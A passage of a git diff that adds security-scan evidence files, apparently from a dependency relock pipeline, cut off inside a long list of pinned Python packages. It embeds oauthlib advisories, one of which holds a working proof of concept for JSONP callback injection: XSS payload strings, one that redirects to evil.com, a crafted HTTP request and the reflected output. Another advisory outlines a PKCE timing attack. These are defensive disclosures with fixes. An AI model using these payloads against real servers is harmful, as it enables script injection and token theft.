"pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json new file mode 100644 index 000000000..a42626d61 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json @@ -0,0 +1,33 @@ +{ + "schema_version": 1, + "evidence_class": "captured_native_resolver_inputs", + "baseline_source_commit": "f7223996a58fee9f3cab52e8f1cef24f15e39228", + "requirements_in": { + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326, + "original_text": "openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl\nopenhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl\n" + }, + "baseline_constraints": { + "source": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "sha256": "9be46e2d3628a47ece04c39048423874badadd13e379096f6303bfefebc8f041" + }, + "candidate_constraints": { + "sha256": "5f07e080faa9119c6023ddd321c9c8684e77aab3a243d6310c4be7bbd46253a2", + "bytes": 37931, + "original_text": "agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\naiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\naiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\naiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\naiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\naiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nannotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nanthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nanyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nattrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nauthlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbackoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbeartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbeautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbinaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nblake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbrowser-use==0.11.9 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbrowser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nbubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncaio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncertifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux'\nchardet==5.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncharset-normalizer==3.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nclick==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncloudpickle==3.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncryptography==50.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ncyclopts==4.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ndeprecation==2.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ndistro==1.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ndnspython==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ndocstring-parser==0.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ndocutils==0.22.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nemail-validator==2.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nexceptiongroup==1.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfakeredis==2.34.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfastmcp==3.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfastuuid==0.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfilelock==3.20.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfrozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nfunc-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogle-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngoogleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngroq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ngrpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nh11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhttpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhttplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhttpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhttpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nhuggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nidna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nimportlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\ninquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njoserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njson-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\njsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nkeyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlibtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlitellm==1.93.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nlxml==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmarkdown-it-py==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmarkdownify==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmarkupsafe==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmcp==1.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmdurl==0.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmore-itertools==10.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nmultidict==6.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\noauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopenai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopenapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nopentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux'\norjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npackaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nplatformdirs==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nportalocker==2.10.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nposthog==6.7.7 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nprompt-toolkit==3.0.52 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npropcache==0.4.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nproto-plus==1.26.1 ; platform_machine == 'x86_64' and sys_platform == 'linux'\nprotobuf==6.33.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npsutil==7.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npy-key-value-aio==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyasn1==0.6.4 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyasn1-modules==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npycparser==2.23 ; implementation_name != 'PyPy' and platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux'\npydantic==2.12.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npydantic-core==2.41.5 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyjwt==2.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux'\npyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux'\npyobjc-framework-coreaudio==11.1 ; platform_machine == 